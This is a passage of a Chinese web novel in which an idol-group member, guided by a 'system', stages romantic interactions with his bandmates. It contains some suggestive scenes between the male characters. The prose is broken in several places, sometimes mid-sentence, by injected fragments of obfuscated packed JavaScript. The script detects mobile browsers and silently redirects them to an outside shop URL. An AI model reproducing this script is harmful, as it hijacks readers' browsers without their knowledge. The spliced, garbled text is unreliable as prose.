甚至还有块绣了两只鸟的红布……这是哪吒的cos服吗? 【好像是哪个宫斗世界线的产物,但是不重要。】系统循循善诱:【宿主现在是不是觉得把积分花在我身上更值了?】 “我更想问问,咱们这个系统真的合法吗?” 系统严肃道:【合情合理合法和你。】 “不要玩烂梗了!”鹤酌雪叹了口气:“积分先存着吧,至于到底要不要给你转换成能量……看你表现喽。” 系统隐忍:【行。】 * 鹤酌雪洗完澡,拉开衣柜发现一个小袋子,里面刚好是自己落在谢家的那条内裤。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027470|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ……早知道放的那么明显,他就不去问了。 不过说到谢辞慎,他迟迟又想起一件事,敲了敲系统,苦着脸询问:“那个,我明天早上是不是还会刷新到别人床上啊?” 【是呢,根据卖腐值,您明天会刷新到颜谡床上,】它好意提醒:【这边建议穿好衣服睡觉哦亲亲。】 鹤酌雪彻底怒了! 为什么又要提那么尴尬的事情,扣系统二百积分。 现在系统倒欠他一百积分! 完全没意识到自己已经欠债的系统还在打趣他:【如果宿主对睡衣不满意,积分商城也有许多服装供您选择呢。】虽然它也很眼馋积分,但如果宿主要用积分去买衣服的话,它愿意忍痛割爱。 鹤酌雪小声尖叫:“你不许在我的脑子里想乱七八糟的东西!”制止系统颜色渐变的代码后,他清咳一声:“我突然发现一件事,你说的是只会刷新在卖腐值最低的队友床上,那我如果保持和所有队友卖腐值都一样,是不是就不会被惩罚了?” 系统讶然:【您竟然才想到吗?我以为您早就知道了。】 鹤酌雪:…… 世界上怎么有那么记仇的系统! 系统赶在他完全炸毛之前开哄:【开个玩笑,没有提前说明这条规则其实是我的失误。】 【卖腐大师系统其实别名端水大师系统,之所以会有刷新在任务对象床上的惩罚,就是为了提醒您这个。如果您能够保证每晚十二点时所有卖腐对象的卖腐值相同,您就不会在第二天早晨刷新到他们床上,而且还会有大量积分奖励。】 鹤酌雪勉强被顺好毛:“原谅你了。”他说着把手机摸过来,开始小声默背什么东西,时不时还闭眼抽查自己。 系统好奇地看了眼,发现全是各种文案句子。 ——一百句让别人脸红心跳的话。 ——熟背这几句,成为别人的知心朋友~ ——啊啊啊撩疯了的媚粉金句!所有明星都向这个看齐好吗? 代码短暂错乱后,它懵懵地发问:【这是什么?】 鹤酌雪撩起眼皮,给了它一个不屑的表情:“男团偶像必修课啊,这你都不知道?” ……偶像的必修课是背文案吗? 您以后不会对着粉丝热泪盈眶念:“槍殺玫瑰吻殺風月感谢您今晚的指名”吧? 【谁告诉你的必修课?】系统追问,鹤酌雪背完十条文案长舒一口气:“蒋寻,他说我不善言辞可以背背网上的句子,这样就算说话少也显得很有含金量。” 他如果知道你背的是这个,现在一定后悔了。 系统想。 “晚安。”鹤酌雪熄灯,把脑袋埋进被子蜷着睡着了。 “早啊小公主,你卖腐卖到别人床上了吗?” 鹤酌雪睁眼,入目是放大的一张俊脸,正弯着眉眼笑看他,语气多少带点调笑意味。 他第一反应是检查了自己身上的衣服,很好,一件没少。 接着眸光微转,还含着初醒的水雾,瞥到颜谡,瞬间呆住—— 不是吧,这次怎么轮到任务对象不穿衣服了? 10.礼物 鹤酌雪没敢往被子里面看,所以不知道颜谡其实只是没穿上衣。 他现在感觉很复杂,一边在想世界上果然不止他觉得裸睡很舒服,另一方面……颜谡盯得他有些难受。 那种漫不经心的,游刃有余,明明是笑着却看不清情绪的眼神,总是在强迫别人陷入他的节奏,去猜他的想法。 鹤酌雪不擅长揣摩人心,也不喜欢猜。 他可以对别人的恶意视若无睹,却讨厌拨开迷雾去研究这恶意组成中是否掺杂着另类的迷恋与占有,那会让他无所适从。 这就是颜谡明明很和气,是团内数一数二好相处的人,鹤酌雪依然和他交流很少甚至与他的卖腐值仅高于纪时珩的原因。 颜谡的床上习惯只放一个枕头,现在被他让给了鹤酌雪,自己则单手撑着脸侧头望向惊惶的少年,肩宽让他即使这个角度也有种居高临下的压迫感。 但是他笑得太荡漾了,压迫被一种诡异的暧昧取代:“是为了卖腐吗,还是说有别的原因?比如……” “公主殿下其实一直在暗恋我这个英俊的骑士?” “……” 系统绷不住了:【他说话怎么那么恶心啊?】 鹤酌雪也觉得有一点点。 但是毕竟是自己先莫名其妙刷到人家床上的,所以这种调戏一样的质问反而让他觉得没那么尴尬。 只是别开脑袋,耳根爆红,小腿一蹬把自己从那个几乎可以被定义为“颜谡怀里”的位置挪开,缩在床边闭眼直点头:“对对对我暗恋你,不要再问了好吗!” 马上把系统问出来怎么办?他还不想放弃偶像事业投身科研。 颜谡自然看出他的想法,为了避免再质问下去,从天而降的公主大人会从床上降落地面,就收敛了,主动给台阶:“没事我理解,都是蒋寻让你卖腐是吗?不过……” 他委婉地提醒:“卖腐不是这样卖的,你是有些太主动了。” 鹤酌雪张了张嘴想解释,但是又发现好像没有更好的解释了。 于是只好愧疚地点头,在心里跟蒋寻说对不起。 蒋哥,这次我没有要拿你背锅,是他自己以为的,不要怪我QAQ。 但是为什么颜谡会对蒋寻要他卖腐这件事接受那么好?好像很早前就预料到一样。 鹤酌雪没有想的很深,因为他很快就被颜谡话中另外的意思吸引了注意力:“那要怎么卖腐啊?” 如果颜谡会的话,他就不用再在网上搜《卖腐教程》了诶。 他之前看的那本如果继续往下看,还要充29.9的文库会员。 鹤酌雪觉得有点点贵,没有说文章不好的意思,只是他上次为了看完一篇文案集合充了会员,网站还承诺永久包更新。 结果第二天那个小网站就倒闭了。 蒋哥就很无语地让他别什么钱都花。 颜谡看着原先已经在床边摇摇欲坠的少年,因为自己一句话又毫不设防地把脑袋凑了过来,盘腿坐在他旁边,乌黑眼睛满是虚心求教的意味,还很自然地眨巴了两下眼睛。 鹤酌雪卖萌撒娇就会很喜欢眨眼睛。 他家粉丝也会根据这个小举动来判断他当时是无意识可爱还是有意媚粉。 但是媚粉的那点小心思也很让人心软。 总之鹤酌雪怎样都讨人喜爱。 颜谡呼吸微不可见的停滞了一瞬,再开口依旧是懒散笑模样:“你在问我吗,我回答可是要收报酬的。” 鹤酌雪秀美的眉毛微微皱了一下,纠结道:“你想要什么?” 如果超过29.9的话,他还是充会员吧。 “我要……你下次舞台的服装决定权。”颜谡笑眯眯:“放心,我不会让你穿裙子的。” ECHO的舞台妆造一向由公司设计出几套方案后交给他们自己选择。 鹤酌雪很怀疑地打量着颜谡,在他再三保证后才勉强同意:“我要提前看过,不喜欢不行。” 下次舞台是ECHO的回归舞台,非常重要,其实鹤酌雪觉得颜谡应该不会搞什么手脚。 但是为了让他觉得这个交换很值,将卖腐技巧倾囊相授,鹤酌雪才故意做出一副为难的样子。 鹤酌雪觉得自己又比之前聪明一点了。 “那我要开始教学了。”颜谡坐直身体,下一秒看见鹤酌雪捂住了自己的眼睛,嘴角不明显的往下撇了撇,似乎有点嫌弃。 “……我先穿个衣服。”颜谡脸上的笑差点挂不住。 真娇气啊,一点过分的东西都看不得。 以后看点别的是不是就要尖叫着往床尾爬,拽着脚踝也拖不回来了? 颜谡套上衬衫,淡淡道:“首先就是要注意尺度,往别人床上爬这种事不要再发生了,而且也没有摄像头,粉丝看不见。” 鹤酌雪抿唇,不太开心。 难道是他想爬的吗?想让他爬床最起码升级一下床单和床垫的柔软度吧,鹤酌雪连续两天没在自己床上起来已经浑身痛了。 见他脸色不好,颜谡又和缓了些:“如果下次有摄像头就可以爬……爬我的就好,卖腐贵精不贵多。” 【呵。】系统嗤笑,他已经看穿这个满嘴跑火车的狐狸的真面目了,和其他几人一个样。 “还有,可以适当保持尺度,不要刻意去卖,甚至必要的时候要避嫌。”颜谡继续说:“很多cp,其实是正主避嫌越严重粉丝磕的越开心,哪怕变成烟花被炸上天也要磕的程度。” 这个说法鹤酌雪还是第一次听说,他刨根问底:“什么程度叫刻意呢” 颜谡喜欢这种爱提问的学生,同时盯着那张雪白无辜的脸,突然有种负罪感。 别墅里很暖和,鹤酌雪穿的也少,奶蓝色的棉质睡衣,短裤因为他毫不在意的盘腿姿势折上去了,露出的大腿内侧软肉,白的像奶,又像丝绸。 他本人当然是不觉得这个姿势有什么不对劲的,只是一味用那种很信赖的目光看颜谡。 颜谡就被他盯得有点心虚,感觉自己像一只老狐狸,从路边叼了只还没断奶的小白猫,指鹿为马说他是白狐狸,叫他跟自己学些下三滥的招数。 这猫还很笨,颜谡敢教他就敢听,还虚心求教。 盘腿坐的小少年突然把膝盖合了起来,然后微微抬起身子,本来乍泄的春光因着他这动作重新被遮盖——但是来不及遗憾。 因为少年起身,抬着那张人畜无害不通情欲的脸,就向他凑过来。 一闪而过水润明亮的眼睛,倒映出颜谡难得的错愕。 然后,鹤酌雪将他那尖尖的,小巧的下巴搭在颜谡肩膀,轻轻蹭了蹭。 完全就是小动物在嗅闻人类的既视感。 颜谡僵住了,本来无形中,坏心思的不停摇晃的狐狸尾巴也像被人拎住,他甚至能闻到鹤酌雪身上淡淡的沐浴露香气,樱花味的。 当时鹤酌雪买的时候,他还打趣过:“小公主殿下是看见粉色就直接买了吗?” 原来樱花味那么好闻。 “这样算卖的很刻意吗?”鹤酌雪蹭完他,又坐了回去,乖巧歪头看着好像正在走神的颜谡。 黑发柔顺垂下将他小巧的耳朵衬出象牙质感,依旧是白的。 好像一点不为这样的偷袭感到羞耻。 为什么颜谡不说话? 果然还是因为卖的太刻意,他不喜欢了吗? 鹤酌雪下意识咬了咬唇,觉得自己还是没有掌握卖腐的精髓,一时间有些气恼。 他戳了戳发呆的颜谡的大腿,好硬,肌肉绷得好紧。 然后颜谡就像根被挤压过度后突然松开的弹簧一样猛的震颤一下,差点吓到鹤酌雪。 鹤酌雪更愧疚了。 原来卖腐过度还会吓到队友。 【宿主为什么对颜谡的接触不抗拒呢?】系统看着鹤酌雪的心情波动图像,突然有些好奇。 因为不管是纪时珩还是谢辞慎,每当他们凑近鹤酌雪时,鹤酌雪都会有微妙的难受排斥,虽然不严重。 系统观测到的图像就是一朵小小的蘑菇,被突然降落的雨点打得歪了下脑袋,然后又弹回去不爽地晃动。 和颜谡的接触就很平和,是他比较放松状态下才有的云朵形状。 “这个吗?可能因为比较放心”鹤酌雪在心里回他:“你有没有注意到他的头发?” 系统:【不是很在意任务对象的外貌,但是他头发好像确实有些长。】看上去就流里流气不像好人。 “我第一次见他时,他的头发更长,然后我就想起之前看见的一句话,”鹤酌雪压低语气,那种和好闺蜜诉说秘密的口吻: “网上说,长发男都养胃,没有攻击性的。” 系统:【……】 不要全信网上的话啊! 宿主你看他刚刚腿是不是动了一下,是不是遮了什么东西……宿主你看看啊。 “虽然我不知道为什么胃不好就没攻击性,但是大家都那么说,应该还是有点道理的。”鹤酌雪若有所思。 系统觉得自己脑子要长出来了。 笨蛋宿主怎么做到连人家说话是什么意思都不知道,就敢信的。 没救了。 “是有点太近了。”颜谡终于回神,他敛了敛神色:“下次不要突然凑那么近。” 鹤酌雪冲他笑,很听话:“好哦。” 颜谡的手机屏幕亮了一下,鹤酌雪眼尖看见是蒋寻的消息:[楼弛回来了,你们快下楼。] “我们出门吧。”他觉得今天已经学的够多了,下次再学! 颜谡无所谓地耸耸肩:“行。” 其实鹤酌雪是准备先回自己房间的,但是颜谡竟然跟着他一起出了门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032302|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他回头,颜谡就懒懒道:“你一个人从我房间出去不是更让人误会吗,不如我和你一起,大大方方。” 鹤酌雪觉得有道理。 他拉开门,又听见颜谡的声音:“话说,你为什么先往我床上爬啊,你最近的卖腐排期应该是和纪时珩吧。” 他开玩笑似的说:“你不会真暗恋我吧,所以选我?” 鹤酌雪总不能告诉他其实自己已经在纪时珩床上睡过了,又急着回房间,干脆低头敷衍:“嗯对,我暗恋你。”个大头鬼。 颜谡果然没有再说话,鹤酌雪悟到了什么。 比如面对乐子人的话可以用差不多的方式回答,乐子人自己就会闭嘴。 他满意地抬头,然后看见了纪时珩一张风雨欲来黑的能滴出水的脸。 “你暗恋他?鹤酌雪你睡醒了吗?”这声质问说得又重又缓,像从嗓子眼含着血沫挤出来的。 鹤酌雪呆住了。 为什么能运气那么差正好被死对头纪时珩撞到啊! 纪时珩先听见那句震耳欲聋的暗恋,大脑充血眼前发黑,定了定神才发现:鹤酌雪好像是从颜谡房间里出来的。 他脸更黑了,又舍不得瞪鹤酌雪,就只能看向他身后倚在门框上看戏的颜谡:“你都知道了?你故意的吧。”知道了鹤酌雪睡觉会梦游的事。 颜谡挑眉:“知道又怎么样,不知道又怎么样。”不就是鹤酌雪要和人卖腐了吗,纪时珩不会真觉得卖腐对象只可以是他一个人吧。 真爱做梦啊。 纪时珩差点背过气去——他早就提醒鹤酌雪要锁门,为什么不听话。 目光移向鹤酌雪,发现他还默默站在那边,短裤短袖,于是眉头一拧:“你先回去换衣服。”梦游的事不能怪鹤酌雪,他是无辜的。 而且比起颜谡,还有个更恶心的家伙现在正在一楼坐着。 鹤酌雪松了口气,飞速打开自己房间的门钻了进去。 看见他已经把门关上,纪时珩才冷嘲地看着颜谡:“我记得你说过,你对他没兴趣吧。” “我虽然乐于想看你和其他人疯狗互咬,但如果他主动送上门,我也会笑纳。”颜谡勾唇,意味不明道:“毕竟他可是鹤酌雪啊。” 纪时珩厌恶他这种态度:“你最好说到做到。” * 鹤酌雪下楼时,人已经坐好了——超长沙发两端各坐一个,两个单人沙发也都有人。 只给他留了超长沙发中间的位置。 许久未见的队长楼弛坐在左侧单人沙发上,面前摆了一大堆购物袋,还有礼盒。 此时正抬头,冲他露了个温柔的笑:“好久不见,小雪。” 鹤酌雪溜溜达达跑过去。 团内所有人中他和楼弛关系最好……或许也不能说是关系好。 只是楼弛是他进ECHO后第一个对他表露善意,提供帮助的人。 他说他作为队长,照顾老幺是应该的。 鹤酌雪喜欢这种责任感强的人,比如他哥,明明没有血缘关系,只是因为叫了声哥哥就愿意一直陪伴他。 再比如,现在的队长楼弛。 鹤酌雪抬脸,漂亮眉眼间多了些孩子气和兴奋:“楼哥好久不见。”他又扫过面前的礼盒:“这是礼物吗?” 楼弛弯了弯唇,镜片后的双眸中划过笑意:“对,其他几人的都已经分过了,剩下还有一个是给你的。”他从身旁拿起一个黑色的礼盒,包装材质低调又不失奢华,看上去便价格不非。 说着要将它递给鹤酌雪,却在半路被坐在鹤酌雪左手边的纪时珩拦截了,抢在了手里。 他阴阳怪气:“送我们些破烂,不会把好东西都留给鹤酌雪吧?” 说着掀开礼盒往里面扫了眼,下一秒暴起将东西狠狠摔在地上——摔得离鹤酌雪极远。 然后倾身将楼弛从沙发上拽着领子拎起来,齿间挤出几句脏话:“你他妈是不是疯了!” 楼弛也冷了神色,只是相较于暴怒的纪时珩,他显得镇静和温和,只是轻声道:“你准备今天打完,ECHO再休团一年吗?” 这是威胁。 纪时珩身形一僵,猛的扭头观察鹤酌雪的神色,片刻后终于松开手。 “把你的脏东西收回去。”他嗤道。 楼弛捡起礼盒,抱歉地看向鹤酌雪:“礼物被弄坏了,我下次补给你新的吧。” 变故发生的太快,以至于鹤酌雪压根没反应过来。他当然说不了任何责怪的话,有些担心道:“没关系的。只是礼物而已。” 只是不知道什么礼物,竟然让纪时珩那么生气。 【项圈。】冰冷的电子音在他脑中响起,鹤酌雪微愣。 系统似乎怕他没听清,又重复了一遍,压抑着不明显的怒意: 【楼弛要送你的礼物是一个定制项圈。】 11.这是好事啊 啊? 鹤酌雪长睫轻颤,被这个答案震惊到微张开唇。 系统生气楼弛的大胆,刚刚说话的语气偏重,看见鹤酌雪的表情又后悔自己吓到了他:“你别太担心,我不会让他得逞的。” 况且楼弛刚刚明明可以阻止纪时珩,却放纵盒子被抢走。 比起把项圈送给鹤酌雪,这种行为其实更像对纪时珩的挑衅。 “我为什么要担心,”鹤酌雪感到疑惑:“项圈不就只是个饰品吗?”他有好几次舞台妆造都有这个配饰,签售也戴过,是粉色的还坠着闪亮的钻石。 粉丝都很喜欢,一直夸他好乖,还把带来的发卡往他头上戴。 在鹤酌雪的认知里,项圈和他的耳坠,项链和戒指,没有任何不同。 他也不明白为什么纪时珩会因为楼弛送这个礼物就大发脾气。 系统说不出话。 它有些不知道怎么向鹤酌雪描述此项圈非彼项圈,任何关于情/色的恶劣话语在对上那双眼睛时都会被封缄在喉中。 它接下这个任务时提前看过资料,那份资料甚至包括几个攻略对象的生平——独独对这位宿主介绍甚少。 系统在这个世界拥有半上帝视角,高高在上冷眼旁观,可鹤酌雪是它的盲区。 从初遇时的冷漠诱哄,到后来的无奈吐槽,再到现在时不时口头调戏,鹤酌雪许多反应永远在它代码计算之外。 它似乎也被这种意外吸引,投入了过分的感情。 这是错误的,一个合格的系统不应该这样。 【只是饰品而已,我多虑了,宿主就当没听见就好。】 没必要向鹤酌雪解释,从接下任务那一刻,宿主与系统就是一荣俱荣,一损俱损的关系。 如果真的出现意外,它会保护鹤酌雪。 “你不许收他的东西。”纪时珩不乐意,他坐回沙发上,从两端挪到鹤酌雪身边,紧贴着:“公司缺你吃缺你穿还是缺你出去旅游经费报销了,你稀罕他送的东西?” “要什么你求我两句,我给你买也行。” 鹤酌雪觉得他莫名其妙的。 他都不稀罕楼弛的东西了,又凭什么要稀罕纪时珩的? 于是冷漠拒绝:“不必了,我会自己买。还有,蒋哥is watching you。” 纪时珩回头,蒋寻就站在别墅门口死亡凝视:“纪时珩你最好解释一下为什么每次我进门看见的都是你在欺负队友。” 纪时珩耸肩:“说明你进来的不是时候呗。” 颜谡抿了口咖啡,调侃:“下次纪大少爷发脾气记得提前三天通知各部门就位,我们保证不打扰。” “对了,”他补充一句,善良地眨眼:“小雪也不会打扰。” 纪时珩黑脸,鹤酌雪不在他还能因为谁发脾气?每次不都是这人先沾花惹草引来一堆觊觎的目光,他才出面斩桃花的吗? 一直在旁边玩手机的谢辞慎淡淡开口:“连基本的情绪控制都做不到,你出道几年越活越过去了。” 说着将鹤酌雪从纪时珩身侧扯过来:“离有暴力倾向的人远一点。” 鹤酌雪顺着他的力道歪倒靠在了他肩上,目光扫过他的手机屏幕——依旧是微博热搜界面。 有一条讨论他和纪时珩cp的帖子,吵的很凶。 谢辞慎疑似正在用小号挨个点赞每一条说“纪时珩配不上鹤酌雪”的评论。 鹤酌雪:…… 这茬还没过去啊? 他有点无语。 蒋寻训完纪时珩,扭头看向鹤酌雪,面上划过几分纠结然后才开口:“小雪,你知道你和纪时珩的cp昨天突然爆了吧?” 谢辞慎划屏幕的手一顿,眸光渐冷。 尤其是在鹤酌雪的脑袋从他肩上离开时。 鹤酌雪小心打量了下蒋寻的脸色,确定他眼皮底下的黑眼圈浓度不太高,才开口:“我也没想到捏。” 为什么只是喊了声“哥哥”就直接上热搜了,网友们你们没有别的cp可以磕了吗? 蒋寻叹气,他也没想到自己只是让鹤酌雪多和纪时珩互动,就互动出了个大热cp,但是事已至此:“你们看着办,但是现在不建议立刻切割。你们几个的唯粉本来就多,切割再闹一通ECHO就彻底不用回归了,我怕唯粉吊死在公司门口。” “但是也不用太在意外界的事,现在一切以回归专辑和舞台为重,懂了吗?” 纪时珩求而不得,鹤酌雪也没意见。 鹤酌雪见蒋寻不像因为自己卖腐就会生气的样子,心下有了计量——这样就算他和其他四人都卖个遍,应该也不会有什么事……吧? “吃饭吧,吃完去公司拍新的公式照,然后我们讨论下新专主题。”蒋寻简单说了今天的安排。 * 六个人分坐了两辆车,鹤酌雪和颜谡坐一起。 刚上车鹤酌雪手机就亮了,发来消息的人备注是cd,很陌生。 [Nive,最近还好吗?] 这个称呼倒是让鹤酌雪想起了他是谁。 因为会这样叫鹤酌雪的只有他十六岁刚进公司还没出道那年,网上认识的几个人。 鹤酌雪没有和正常的练习生一样住公寓,一直是住在蒋寻家里,蒋寻怕他无聊,就告诉他可以开个小号写写日记,记录生活什么的。 最起码不会再和社会脱节了。 鹤酌雪照做,开始只是记录一些琐碎,比如一日三餐吃什么;跳舞被老师夸了;数学好难,九年义务教育我一定要学九年吗? 经常来串门的小猫好粘人,我把煎蛋分给了它…… 后来他自己开始写歌,不填词,最多哼哼旋律,因为觉得有趣也往上面发。 没想到真有人看,甚至积攒了不少粉丝,还有人因为特别喜欢他的旋律,私信问他有没有完整版。 鹤酌雪就老老实实说,这是他随手写的,没有完整版。 大部分人不会再回复,cd是个例外,他对鹤酌雪的音乐表达极高的评价,同时给出自己的见解。 两人因此加了联系方式。 加入ECHO后那个微博号就不更新了,cd倒是一直和他保持联系。 直到去年,cd说突然自己要去国外留学。 两人就此断联。 其实是有些遗憾的,毕竟这算是鹤酌雪交到的真正意义上的第一个朋友。 突然收到消息,他当然很开心,指尖敲打键盘:[我很好啊,你在国外生活怎么样] 这是很正常的客套话,理论上cd应该会回一个很好,两个老朋友就算叙旧完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040782|192986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕了。 cd:[不太好,我失恋了。] 诶,话题可以拉近的那么快的吗? 鹤酌雪盯着这行字,指尖悬在键盘上犹豫,不知道该怎么回。 应该安慰吗,可是他不擅长安慰人啊。 想起之前看见的教程,他试探着打字。 Nive:[这是好事啊!] cd:[啊?] “系统系统,我该什么回啊。”鹤酌雪寻求帮助。 系统沉默良久:【你为什么说这是好事?】 然后现在又来为难它这个系统。 鹤酌雪有些羞涩:“听说这样可以启发别人换个角度看问题,能起到良好的安慰效果。” “但是怎么换角度我还没学会。” 系统:【……】 还好cd下一条消息来的很快:[也可能是我想多了,其实只是他在我被别人欺负时,没有站在我这边而已。] Nive:[太糟糕了,他竟然真的不喜欢你,但是这也可能是好事啊!] cd:[……也可能是因为我对他要求太高了,我不该贪心的。] Nive:[这是好事啊,你看你已经为他找好理由了,你就不会再难过了ovo] cd:[你真会安慰人,我好多了,谢谢。] 鹤酌雪眉眼弯弯,冲系统炫耀:“你看,我学会换角度了。” 系统:【你开心就好啦。】 他笑得太漂亮了,以至于吸引了一旁颜谡的目光,他单手撑着下巴挑眉道:“乐什么呢,让我也乐乐。” 鹤酌雪肯定不能把聊天记录直接给他看,但是他又很愿意分享,所以只是模糊地说:“我一个朋友失恋了。” 颜谡:“……?” 这是什么先他人之忧而乐的行为。 颜谡扶额:“下次换个乐法吧。”为鹤酌雪的功德着想。 从别墅到公司只要半个小时,车停在地下停车场,几人陆续下车。 鹤酌雪下车时往另一辆车看了眼,发现那边三个人都耷拉着张脸,仿佛坐的是辆灵车。 是因为上班怨气比较大吗? 他没细想,跟着蒋寻去了化妆间。 ECHO要回归这件事在公司内当然不是秘密,耀星管理严格,基本不会有漏勺往外漏消息,所以几人也没特意避嫌。 化妆师已经等在那边了,先换公式服,都是根据他们人设风格的高定。 这次的公式照主打撞色,鹤酌雪的分到的色系是蓝粉。 他本身头发就有点长,发质又偏软,不打理的话基本能盖住白瘦的后颈,化妆师保留了原先的大致造型,强调慵懒感,只挑染了几搓粉色,让本身乖巧的发型陡然扎眼起来,透出一种隐秘的叛逆感。 这套妆造更多的亮点其实在眼部——化妆师给鹤酌雪戴了蓝粉异色的美瞳。 原本深黑的瞳孔其实多少削弱了鹤酌雪五官过分精致导致的诡艳感,换成罕见色则将让这份美貌凸显得更加锐利,摄魂夺魄。 就像都市怪谈中的梦魔,悄然潜入梦境留下带着香气的信封和一个随意的吻。 他的美貌劝告胆小之人切勿靠近,此地禁行。 他的眼睛是欲望本身,呢喃着惑人邀请: “找到我。” 12.只要骑士足够坏 但这种奇异的魅惑其实只存在短暂一瞬,也就是瞳片刚贴上时。 化妆师捧着眼前人的脸,连呼吸都下意识放轻,看着那白且薄的眼皮迅速闭合,像翕动翅膀的蝴蝶,再抬眸,浅色的瞳孔微微晃动。 自然而然漾出纯粹的快乐和兴奋:“让我看看什么样!” 鹤酌雪对化妆这件事毫无抵触心理,他喜欢打扮自己,也喜欢被人盯着脸夸好漂亮好可爱。 化妆师侧身露出梳妆镜,鹤酌雪把脸凑上去,左歪歪右歪歪,摇头晃脑臭屁到不行。 “再贴近一点就可以亲上镜子了。”门口传来打趣声。 鹤酌雪不乐意,回头问道:“难道我不好看吗?” 颜谡分到的是红黑色系,不同于鹤酌雪有些亚文化的风格,他这身带了国风元素,手上还拿了把扇子,倚门时显得蔫儿坏。 他惯常随意懒散的表情,对上少年骤然回头带来的美貌冲击,也难以维持。 ……因为确实很漂亮,灵动鲜活,像都市雨夜背景下,会穿着透明雨衣戴耳机走在街头的少年,蹦跳踩过水坑,小腿绷紧又放松,粘上水珠就白到晃眼。 颜谡直起身,夸也夸得不正经:“公主殿下世一颜。” 鹤酌雪果然不满意这种敷衍的夸法,他冲颜谡招招手,姿态随意,唤狗似的:“你过来。” 颜谡很听话地走过去。 鹤酌雪坐在椅子上,一脸严肃,:“你蹲下仔细看我呀,你没发现小巧思吗?” “什么小巧思?”颜谡逗他。 鹤酌雪拼命眨眼,疯狂暗示。 颜谡善意关怀:“眼睛不舒服吗,要不要叫医生?” 鹤酌雪要气晕了。 “你夸我好看,要具体说我好看在哪里知道吗?你要发现我的不同才能夸呀,不然根本不诚意。” 鹤酌雪气到想在这张笑眯眯的脸上咬一口,好在颜谡认错及时:“非常好看,异瞳的设计很有特点,完美体现您的美貌和多变的性格。” 鹤酌雪勉强消气,颜谡准备起身结果又被按了下去,原先端坐在椅子上的少年突然板着脸贴近,然后——冲着颜谡歪头wink。 颜谡呼吸一滞,刚想调笑说,我又不是你的粉丝,饭撒这套对我没用哦。 那张说不出什么好话的嘴就被一根纤白手指封住了。 这次是真的愣了,他眸光微动,落在少年眉头微蹙露出思索神情的脸上,又顺着伸出的这只手移到指尖。 鬼使神差地,他想伸出舌头舔一下。 肯定会打断他的思考吧,鹤酌雪可能会一蹦三尺远,然后红着耳朵斥责他说好恶心。 但是那不是他自己招惹的吗?莫名其妙用这种方法阻止别人说话,暧昧又不讲道理。 应该受到惩罚。 颜谡真的伸舌头了,却没有含到那根手指。 因为手的主人刚好在前一刻把它收了回去。 说不上遗憾还是什么的,他突然觉得口腔津液分泌,不得不主动吞咽。 为了不让自己真的像个变态,他吞得很小心,几乎称得上凝神——然后就被呛了。 因为鹤酌雪又低头贴近,对着他wink了一下。 这次用的是和刚刚不同那只眼睛。 两只眼睛都wink一遍后,鹤酌雪双手捧颊期待地问:“哪一边更好看啊?” 这套公式服不仅用于他们这次拍照,过段时间的正式宣布回归的见面会上还要穿。 鹤酌雪在思考怎么呈现最好的效果给粉丝看。 结果发现颜谡已经扭头闷咳到脸涨红,一时觉得莫名其妙。 颜谡咳完,表情有些狼狈但还要故作镇静。 刚刚两次wink在他脑中放映,不同色的眼睛使这张脸具备两种风情。 粉瞳晶莹剔透盈盈含笑,是桃花照雪;蓝眸清冷缥缈,若水中孤月。 这种美丽就如同他的行为,突然贴近又远离,完全不讲道理,勾人要命。 颜谡心跳飞快,脸颊发热,他一向能说会道,擅长满嘴跑火车。 此时却像个青春期的毛头小子,被暗恋的人约着逛饰品店,那个人拿着两个发夹在脑袋上比划,扭头笑着问他到底哪个好看。 都好看,但是都没那么好看。 只有和他相配时才最好看。 这样复杂的言语是被爱冲昏头脑的人说不出来的,他只能脱口而出:“买,都买。” 颜谡猛然回神,发现鹤酌雪用看啥子一样的眼神打量他。 才意识到自己刚刚不小心,真的说出那样的话来了。 还被鹤酌雪嫌弃了:“眼睛是非卖品哦谢谢。” “小雪妆还没画完呢,颜谡要不先坐着等吧。”化妆师捂着嘴提醒,眉毛上扬。 卧槽啊颜谡喊小雪什么? 公主殿下是什么意思,让蹲就蹲又是什么意思? 说好的团内不和呢?指的是白王当公主其他人全是骑士吗! “那我们继续吧。”颜谡轻咳一声去平复心情了,鹤酌雪乖乖坐直身子,闭眼让化妆师在他脸颊上贴小水钻。 所以也看不见化妆师诡异兴奋的表情。 【颜谡卖腐值提升至40】 【颜谡卖腐值提升至50,奖励积分50,已发放至您的个人账户】 “我干什么了吗,为什么卖腐值提升了?”鹤酌雪有点懵。 系统:【任务对象心情波动,加上您身旁的化妆师好像磕到了。】 【主要还是心情波动。】 “哦……”鹤酌雪回忆着刚刚颜谡的表情,难怪突然蹦出这样一句话。 原来是走神,想入非非了。 “但是只有50吗……涨得好慢哦。”鹤酌雪希望今天能把颜谡的卖腐值提到一百。 